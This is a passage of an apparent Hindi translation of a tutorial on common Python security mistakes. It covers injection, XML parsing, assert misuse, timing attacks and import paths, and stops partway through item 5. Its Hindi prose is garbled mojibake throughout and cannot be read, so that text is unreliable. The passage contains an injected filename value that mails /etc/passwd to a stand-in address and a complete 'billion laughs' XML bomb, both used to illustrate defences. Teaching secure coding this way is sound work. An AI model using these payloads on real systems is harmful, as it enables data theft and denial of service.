рдкрд╛рдпрдерди рдореЗрдВ 10 рд╕рдмрд╕реЗ рдЖрдо рд╕реБрд░рдХреНрд╖рд╛ рддреНрд░реБрдЯрд┐рдпрд╛рдВ рдФрд░ рдЙрдирд╕реЗ рдХреИрд╕реЗ рдмрдЪрд╛ рдЬрд╛рдП

рд╕рднреА рдХреЛ рдирдорд╕реНрдХрд╛рд░!

рд╣рдорд╛рд░рд╛ рдЕрдЧрд▓рд╛ рдкрд╛рдпрдерди рд╕рдореВрд╣ рд╕реЛрдорд╡рд╛рд░ рдХреЛ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рд╢реБрд░реВ рд╣реБрдЖ, рд▓реЗрдХрд┐рди рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдЕрднреА рднреА рдПрдХ рдФрд░ рд╕рд╛рдордЧреНрд░реА рд╣реИ рдЬрд┐рд╕реЗ рд╣рдордиреЗ рд╢реБрд░реВ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдкреНрд░рдмрдВрдзрд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ред рд╣рдо рдЕрдкрдиреА рдЧрд▓рддреА рдХреЛ рд╕реБрдзрд╛рд░рддреЗ рд╣реИрдВ рдФрд░ рдЖрд╢рд╛ рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк рдЗрд╕реЗ рдкрд╕рдВрдж рдХрд░реЗрдВрдЧреЗред

рдЪрд▓реЛ рдЪрд▓рддреЗ рд╣реИрдВ!

рд╕реБрд░рдХреНрд╖рд┐рдд рдХреЛрдб рд▓рд┐рдЦрдирд╛ рдореБрд╢реНрдХрд┐рд▓ рд╣реИред рдЬрдм рдЖрдк рдПрдХ рднрд╛рд╖рд╛, рдореЙрдбреНрдпреВрд▓ рдпрд╛ рдврд╛рдВрдЪрд╛ рд╕реАрдЦрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рд╕реАрдЦреЗрдВрдЧреЗ рдХрд┐ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд░рдирд╛ рд╣реИред рдЖрдкрдХреЛ рдпрд╣ рднреА рд╕реЛрдЪрдиреЗ рдХреА рдЬрд░реВрд░рдд рд╣реИ рдХрд┐ рд╕реБрд░рдХреНрд╖рд╛ рд╕рдВрджрд░реНрдн рдореЗрдВ рдЙрдирдХрд╛ рдЧрд▓рдд рддрд░реАрдХреЗ рд╕реЗ рдХреИрд╕реЗ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдкрд╛рдпрдерди рдХреЛрдИ рдЕрдкрд╡рд╛рдж рдирд╣реАрдВ рд╣реИ, рдпрд╣рд╛рдВ рддрдХ тАЛтАЛрдХрд┐ рдорд╛рдирдХ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЗ рд▓рд┐рдП рдкреНрд░рд▓реЗрдЦрди рдореЗрдВ рд╕реБрд░рдХреНрд╖рд┐рдд рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдЦрд░рд╛рдм рд▓реЗрдЦрди рдкреНрд░рдерд╛рдУрдВ рдХрд╛ рд╡рд░реНрдгрди рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдХрдИ рдкрд╛рдпрдерди рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЗрд╡рд▓ рдЙрдирд╕реЗ рдЕрдирдЬрд╛рди рд╣реИрдВред



рдкрд╛рдпрдерди рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ рд╕рдмрд╕реЗ рдЖрдо рддреНрд░реБрдЯрд┐рдпреЛрдВ рдореЗрдВ рд╕реЗ рдореЗрд░рд╛ рд╢реАрд░реНрд╖ 10 (рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдХреНрд░рдо рдореЗрдВ) рд╣реИред

1. рдЗрдВрдЬреЗрдХреНрд╢рди


рдХрдИ рдкреНрд░рдХрд╛рд░ рдХреЗ рдХреЛрдб рдЗрдВрдЬреЗрдХреНрд╢рди рд╣рдорд▓реЗ рд╣реИрдВ, рдФрд░ рд╡реЗ рд╕рднреА рдХрд╛рдлреА рд╕рд╛рдорд╛рдиреНрдп рд╣реИрдВред рд╡реЗ рд╕рднреА рднрд╛рд╖рд╛рдУрдВ, рд░реВрдкрд░реЗрдЦрд╛ рдФрд░ рд╡рд╛рддрд╛рд╡рд░рдг рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддреЗ рд╣реИрдВред

SQL рдЗрдВрдЬреЗрдХреНрд╢рди рддрдм рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдЖрдк ORM рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рдмрдЬрд╛рдп рд╕реАрдзреЗ SQL рдХреНрд╡реЗрд░реА рд▓рд┐рдЦрддреЗ рд╣реИрдВ, рдФрд░ рдЪрд░ рдХреЗ рд╕рд╛рде рд╕реНрдЯреНрд░рд┐рдВрдЧ рд╢рд╛рдмреНрджрд┐рдХ рдорд┐рд╢реНрд░рдг рдХрд░рддреЗ рд╣реИрдВред рдореИрдВрдиреЗ рдмрд╣реБрдд рд╕рд╛рд░реЗ рдХреЛрдб рдкрдврд╝реЗ рд╣реИрдВ рдЬрд╣рд╛рдВ "рднрд╛рдЧрдиреЗ рд╡рд╛рд▓реЗ рдЙрджреНрдзрд░рдг" рдХреЛ рдПрдХ рдлрд┐рдХреНрд╕ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рдРрд╕рд╛ рдирд╣реАрдВ рд╣реИред рдЖрдк рдЗрд╕ рдзреЛрдЦрд╛ рд╢реАрдЯ рдореЗрдВ рдПрд╕рдХреНрдпреВрдПрд▓ рдХреЛ рдПрдореНрдмреЗрдб рдХрд░рдиреЗ рдХреЗ рдХрдИ рддрд░реАрдХреЛрдВ рд╕реЗ рдЦреБрдж рдХреЛ рдкрд░рд┐рдЪрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдХрдорд╛рдВрдб рдЗрдВрдЬреЗрдХреНрд╢рди рддрдм рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдЖрдк рдХрд┐рд╕реА рднреА рд╕рдордп рдкреЙрдкреЗрди, рд╕рдмрдкреНрд░реЛрд╕реЗрд╕, рдУрдПрд╕.рд╕рд┐рд╕реНрдЯрдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╣рддреЗ рд╣реИрдВ рдФрд░ рдЪрд░ рд╕реЗ рддрд░реНрдХ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддреЗ рд╣реИрдВред рд╕реНрдерд╛рдиреАрдп рдЖрджреЗрд╢реЛрдВ рдХреЛ рдХреЙрд▓ рдХрд░рддреЗ рд╕рдордп, рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ рдХрд┐ рдХреЛрдИ рд╡реНрдпрдХреНрддрд┐ рдЗрди рдореВрд▓реНрдпреЛрдВ рдХреЛ рдХреБрдЫ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд░реВрдк рд╕реЗ рд╕реЗрдЯ рдХрд░реЗрдЧрд╛ред

рдЗрд╕ рд╕рд░рд▓ рд▓рд┐рдкрд┐ рдХреА рдХрд▓реНрдкрдирд╛ рдХрд░реЗрдВ [рдХреНрд░реЗрдбрд┐рдЯ] ред рдЖрдк рдЙрдкрдкреНрд░рдгрд╛рд▓реА рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рджрд┐рдП рдЧрдП рдлрд╝рд╛рдЗрд▓ рдирд╛рдо рд╕реЗ рдмреБрд▓рд╛рддреЗ рд╣реИрдВ:

import subprocess def transcode_file(request, filename): command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename) subprocess.call(command, shell=True) # a bad idea! 

рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдлрд╝рд╛рдЗрд▓рдирд╛рдо рдХрд╛ рдорд╛рди рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИ "; cat /etc/passwd | mail them@domain.com рдпрд╛ рдХреБрдЫ рдЦрддрд░рдирд╛рдХ рдХреЗ рд░реВрдк рдореЗрдВред

рд╕рдорд╛рдзрд╛рди:

рдпрджрд┐ рдЖрдк рдПрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рддреЛ рдЕрдкрдиреЗ рд╡реЗрдм рдврд╛рдВрдЪреЗ рдХреЗ рд╕рд╛рде рдЖрдиреЗ рд╡рд╛рд▓реА рдЙрдкрдпреЛрдЧрд┐рддрд╛рдУрдВ рдХреЗ рд╕рд╛рде рдЗрдирдкреБрдЯ рдХреЛ рдЬреАрд╡рд╛рдгреБрд░рд╣рд┐рдд рдХрд░реЗрдВред рдЬрдм рддрдХ рдЖрдкрдХреЗ рдкрд╛рд╕ рдПрдХ рдЕрдЪреНрдЫрд╛ рдХрд╛рд░рдг рдирд╣реАрдВ рд╣реИ, рддрдм рддрдХ SQL рдХреНрд╡реЗрд░реА рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рди рдмрдирд╛рдПрдВред рдЕрдзрд┐рдХрд╛рдВрд╢ ORM рдореЗрдВ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рдХреАрдЯрд╛рдгреБрд╢реЛрдзрди рд╡рд┐рдзрд┐рдпрд╛рдВ рд╣реИрдВред

рд╢реЗрд▓ рдХреЗ рд▓рд┐рдП, рдЗрдирдкреБрдЯ рдХреЛ рдареАрдХ рд╕реЗ рдврд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рд╢реНрд▓реЗрдХреНрд╕ рдореЙрдбреНрдпреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред

2.Parsing XML


рдпрджрд┐ рдЖрдкрдХрд╛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди XML рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдбрд╛рдЙрдирд▓реЛрдб рдФрд░ рдкрд╛рд░реНрд╕ рдХрд░рддрд╛ рд╣реИ, рддреЛ рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ рдХрд┐ рдЖрдк рдорд╛рдирдХ XML рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдореЙрдбреНрдпреВрд▓ рдореЗрдВ рд╕реЗ рдПрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реИрдВред XML рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрдИ рд╕рд╛рдорд╛рдиреНрдп рд╣рдорд▓реЗ рд╣реИрдВред рдЕрдзрд┐рдХрддрд░ DoS- рд╢реИрд▓реА (рд╕рд┐рд╕реНрдЯрдо рдХреЛ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХреА рдЧрдИ рд╣реИ, рдбреЗрдЯрд╛ рдХреЛ рдлрд╝рд┐рд▓реНрдЯрд░ рдирд╣реАрдВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП)ред рдпреЗ рд╣рдорд▓реЗ рдХрд╛рдлреА рдЖрдо рд╣реИрдВ, рдЦрд╛рд╕рдХрд░ рдЕрдЧрд░ рдЖрдк рдмрд╛рд╣рд░реА (рдпрд╛рдиреА рдЙрди рдкрд░ рднрд░реЛрд╕рд╛ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ) XML рдлрд╝рд╛рдЗрд▓реЗрдВред

рдкреЗрд▓реЛрдб рдХреА рд╡рдЬрд╣ рд╕реЗ рдЙрдирдореЗрдВ рд╕реЗ рдПрдХ рдХреЛ "рдмрд┐рд▓рд┐рдпрди рд╣рдВрд╕реА" (рд╢рд╛рдмреНрджрд┐рдХ рд░реВрдк рд╕реЗ "рд╣рдВрд╕реА рдХрд╛ рдмрд┐рд▓") рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдЖрдорддреМрд░ рдкрд░ "рд▓реЛрд▓" рдХреЗ рдмрд╣реБрдд рд╕рд╛рд░реЗ (рдЕрд░рдмреЛрдВ) рд╣реЛрддреЗ рд╣реИрдВред рдореВрд▓ рд░реВрдк рд╕реЗ, рд╡рд┐рдЪрд╛рд░ рдпрд╣ рд╣реИ рдХрд┐ рдЖрдк XML рдореЗрдВ рд╕рдВрджрд░реНрдн рдСрдмреНрдЬреЗрдХреНрдЯ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдЬрдм рдЖрдкрдХрд╛ рдПрдХреНрд╕рдХреНрд▓реВрд╕рд┐рд╡ XML рдкрд╛рд░реНрд╕рд░ рдЗрд╕ рдлрд╛рдЗрд▓ рдХреЛ рдореЗрдореЛрд░реА рдореЗрдВ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдЧреАрдЧрд╛рдмрд╛рдЗрдЯ рд░реИрдо рдХрд╛ рдЙрдкрднреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдХреЛрд╢рд┐рд╢ рдХрд░реЛ рдЕрдЧрд░ рддреБрдо рдореБрдЭ рдкрд░ рд╡рд┐рд╢реНрд╡рд╛рд╕ рдирд╣реАрдВ рдХрд░рддреЗ :-)

 <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> 

рдЕрдиреНрдп рд╣рдорд▓реЗ рдмрд╛рд╣рд░реА рдЗрдХрд╛рдИ рджреНрд╡рд╛рд░рд╛ рд╡рд┐рд╕реНрддрд╛рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред рдПрдХреНрд╕рдПрдордПрд▓ рдмрд╛рд╣рд░реА рдпреВрдЖрд░рдПрд▓ рд╕реЗ рдЗрдХрд╛рдИ рд╕рдВрджрд░реНрдн рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ, рдПрдХреНрд╕рдПрдордПрд▓ рдкрд╛рд░реНрд╕рд░ рдЖрдорддреМрд░ рдкрд░ рдмрд┐рдирд╛ рдХрд┐рд╕реА рд╕рдорд╕реНрдпрд╛ рдХреЗ рдЗрд╕ рд╕рдВрд╕рд╛рдзрди рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рддрд╛ рд╣реИ рдФрд░ рд▓реЛрдб рдХрд░рддрд╛ рд╣реИред "рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдлрд╛рдпрд░рд╡реЙрд▓ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рд╕реАрдорд┐рдд рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рд╕рднреА рдЕрдиреБрд░реЛрдз рдЖрдВрддрд░рд┐рдХ рдФрд░ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдЖрдИрдкреА рдкрддреЗ рд╕реЗ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ, рдмрд╛рд╣рд░ рд╕реЗ рдирд╣реАрдВред"

рд╡рд┐рдЪрд╛рд░ рдХрд░рдиреЗ рд▓рд╛рдпрдХ рдПрдХ рдФрд░ рд╕реНрдерд┐рддрд┐ рд╣реИ, рддреАрд╕рд░реЗ рдкрдХреНрд╖ рдХреЗ рдПрдХреНрд╕рдПрдордПрд▓ рдбрд┐рдХреЛрдбрд┐рдВрдЧ рдкреИрдХреЗрдЬ рдЬреЛ рдЖрдк рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓, рджреВрд░рд╕реНрде рдПрдкреАрдЖрдИред рдЖрдкрдХреЛ рдпрд╣ рднреА рд╕рдВрджреЗрд╣ рдирд╣реАрдВ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдЖрдкрдХреА рдПрдХ рдирд┐рд░реНрднрд░рддрд╛ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреЗ рд╣рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдЦреБрд▓реА рд╣реИред
рдкрд╛рдпрдерди рдореЗрдВ рдХреНрдпрд╛ рдЪрд▓ рд░рд╣рд╛ рд╣реИ? рдЦреИрд░, рдорд╛рдирдХ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдореЙрдбреНрдпреВрд▓, рдПрдЯреНрд░реА, рдбреЛрдо, xmlrpc рдРрд╕реЗ рд╣рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рд╡реНрдпрд╛рдкрдХ рд░реВрдк рд╕реЗ рдЦреБрд▓реЗ рд╣реИрдВред рдпрд╣ рдпрд╣рд╛рдБ рдЕрдЪреНрдЫреА рддрд░рд╣ рд╕реЗ рдкреНрд░рд▓реЗрдЦрд┐рдд рд╣реИ ред

рд╕рдорд╛рдзрд╛рди:

рдорд╛рдирдХ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдореЙрдбреНрдпреВрд▓ рдХреЗ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрди рдХреЗ рд░реВрдк рдореЗрдВ рдбрд┐рдлреНрдпреВрдЬрд╝реЗрдХреНрд▓реЗрдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред рд╡рд╣ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреЗ рд╣рдорд▓реЛрдВ рдХреЗ рдЦрд┐рд▓рд╛рдл рд░рдХреНрд╖рд╛рддреНрдордХ рдЙрдкрд╛рдп рдЬреЛрдбрд╝рддрд╛ рд╣реИред

3. рдирд┐рд░реНрджреЗрд╢ рдХреЗ рдЕрдиреБрд╕рд╛рд░


рдХреЛрдб рдЕрдВрд╢реЛрдВ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рд▓рд┐рдП assert рдХрд╛ рдЙрдкрдпреЛрдЧ рди рдХрд░реЗрдВ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рддрдХ рдирд╣реАрдВ рдкрд╣реБрдВрдЪрдиреЗ рдЪрд╛рд╣рд┐рдПред рдЗрд╕рдХрд╛ рд╕рд░рд▓ рдЙрджрд╛рд╣рд░рдг рд▓реЗрдВ:

 def foo(request, user): assert user.is_admin, тАЬuser does not have accessтАЭ # secure code... 

рдЕрдм, рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, рдкрд╛рдпрдерди рд╕рдЪ рдХреЗ рдмрд░рд╛рдмрд░ __debug__ рд╕рд╛рде рдЪрд▓рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдПрдХ рдореБрдХрд╛рдмрд▓рд╛ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдпрд╣ рдЖрдорддреМрд░ рдкрд░ рдЕрдиреБрдХреВрд▓рди рдХреЗ рд╕рд╛рде рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИред assert рдирд┐рд░реНрджреЗрд╢ рдХреЛ рдЫреЛрдбрд╝ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдкреНрд░реЛрдЧреНрд░рд╛рдо рд╕реАрдзреЗ рд╕рдВрд░рдХреНрд╖рд┐рдд рдХреЛрдб рдкрд░ рдЬрд╛рдПрдЧрд╛, рднрд▓реЗ рд╣реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ is_admin рд╣реЛ рдпрд╛ рди рд╣реЛред

рд╕рдорд╛рдзрд╛рди:

рдХреЗрд╡рд▓ рдЕрдиреНрдп рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХреЗ рд▓рд┐рдП assert рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпреВрдирд┐рдЯ рдкрд░реАрдХреНрд╖рдгреЛрдВ рдореЗрдВ рдпрд╛ рдПрдкреАрдЖрдИ рдХреЗ рдЧрд▓рдд рдЙрдкрдпреЛрдЧ рд╕реЗ рдмрдЪрд╛рдиреЗ рдХреЗ рд▓рд┐рдПред

4. рдЕрд╕реНрдерд╛рдпреА рд╣рдорд▓реЗ


рдЕрд╕реНрдерд╛рдпреА рд╣рдорд▓реЗ, рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ, рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рдореВрд▓реНрдпреЛрдВ рдХреА рддреБрд▓рдирд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╕рдордп рдХрд╛ рдирд┐рд░реНрдзрд╛рд░рдг рдХрд░рдХреЗ рдХрд┐рд╕реА рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдФрд░ рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рд╣реИред рдЕрд╕реНрдерд╛рдпреА рд╣рдорд▓реЛрдВ рдореЗрдВ рд╕рдЯреАрдХрддрд╛ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╡реЗ рдЖрдорддреМрд░ рдкрд░ рдЙрдЪреНрдЪ рд╡рд┐рд▓рдВрдмрддрд╛ рд╡рд╛рд▓реЗ рджреВрд░рд╕реНрде рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВред рдЕрдзрд┐рдХрд╛рдВрд╢ рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рд╕реЗ рдЬреБрдбрд╝реЗ рдЪрд░ рджреЗрд░реА рдХреЗ рдХрд╛рд░рдг, HTTP рд╡реЗрдм рд╕рд░реНрд╡рд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рдЕрд╕реНрдерд╛рдпреА рд╣рдорд▓реЗ рдХреЛ рд░рд┐рдХреЙрд░реНрдб рдХрд░рдирд╛ рд▓рдЧрднрдЧ рдЕрд╕рдВрднрд╡ рд╣реИред

рд▓реЗрдХрд┐рди рдЕрдЧрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ рдПрдХ рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╣реИ рдЬреЛ рдкрд╛рд╕рд╡рд░реНрдб рдорд╛рдВрдЧрддрд╛ рд╣реИ, рддреЛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рд╕рд░рд▓ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓рд┐рдЦ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдЧрдгрдирд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд╕рд╛рде рдЙрдирдХреЗ рдореВрд▓реНрдпреЛрдВ рдХреА рддреБрд▓рдирд╛ рдХрд░рдиреЗ рдореЗрдВ рдХрд┐рддрдирд╛ рд╕рдордп рд▓рдЧрддрд╛ рд╣реИред рдПрдХ рдЙрджрд╛рд╣рд░рдг рд╣реИ ред

рдпрджрд┐ рдЖрдк рдпрд╣ рджреЗрдЦрдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдХрд┐ рд╡реЗ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдХреБрдЫ рдкреНрд░рднрд╛рд╡рд╢рд╛рд▓реА рдЙрджрд╛рд╣рд░рдг рд╣реИрдВ, рдЬреИрд╕реЗ рдХрд┐ рдкрд╛рдпрдерди рдореЗрдВ рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рдпрд╣ рдЕрд╕реНрдерд╛рдпреА рдПрд╕рдПрд╕рдПрдЪ рд╣рдорд▓рд╛ ред

рд╕рдорд╛рдзрд╛рди:

рдкрд╛рд╕рд╡рд░реНрдб рдФрд░ рдЕрдиреНрдп рдирд┐рдЬреА рдореВрд▓реНрдпреЛрдВ рдХреА рддреБрд▓рдирд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП Python 3.5 рдореЗрдВ рд╢реБрд░реВ рдХрд┐рдП рдЧрдП secrets.compare_digest рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред

5. рджреВрд╖рд┐рдд рд╕рд╛рдЗрдЯ-рд╕рдВрдХреБрд▓ рдпрд╛ рдЖрдпрд╛рдд рдкрде


рдкрд╛рдпрдерди рдореЗрдВ рдПрдХ рдмрд╣реБрдд рд╣реА рд▓рдЪреАрд▓реА рдЖрдпрд╛рдд рдкреНрд░рдгрд╛рд▓реА рд╣реИред рдпрд╣ рдмрд╣реБрдд рдЕрдЪреНрдЫрд╛ рд╣реИ рдЬрдм рдЖрдк рдЕрдкрдиреЗ рдкрд░реАрдХреНрд╖рдгреЛрдВ рдХреЗ рд▓рд┐рдП рдмрдВрджрд░ рдкреИрдЪ рд▓рд┐рдЦрдиреЗ рдпрд╛ рдореБрдЦреНрдп рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдЕрдзрд┐рднрд╛рд░рд┐рдд рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВред

рд▓реЗрдХрд┐рди рдпрд╣ рдкрд╛рдпрдерди рдореЗрдВ рд╕рдмрд╕реЗ рдмрдбрд╝реЗ рд╕реБрд░рдХреНрд╖рд╛ рдЫреЗрджреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рд╣реИред

рдЕрдкрдиреЗ рд╕рд╛рдЗрдЯ-рдкреИрдХреЗрдЬ рдореЗрдВ рддреГрддреАрдп-рдкрдХреНрд╖ рдкреИрдХреЗрдЬ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдирд╛, рдЪрд╛рд╣реЗ рд╡рд╣ рдЖрднрд╛рд╕реА рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рд╣реЛ рдпрд╛ рд╡реИрд╢реНрд╡рд┐рдХ рд╕рд╛рдЗрдЯ-рдкреИрдХреЗрдЬ (рдЬреЛ рдЖрдорддреМрд░ рдкрд░ рд╣рддреЛрддреНрд╕рд╛рд╣рд┐рдд рдХрд░рддрд╛ рд╣реИ), рдЖрдкрдХреЛ рдЗрди рдкреИрдХреЗрдЬреЛрдВ рдореЗрдВ рд╕реБрд░рдХреНрд╖рд╛ рдЫреЗрдж рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред

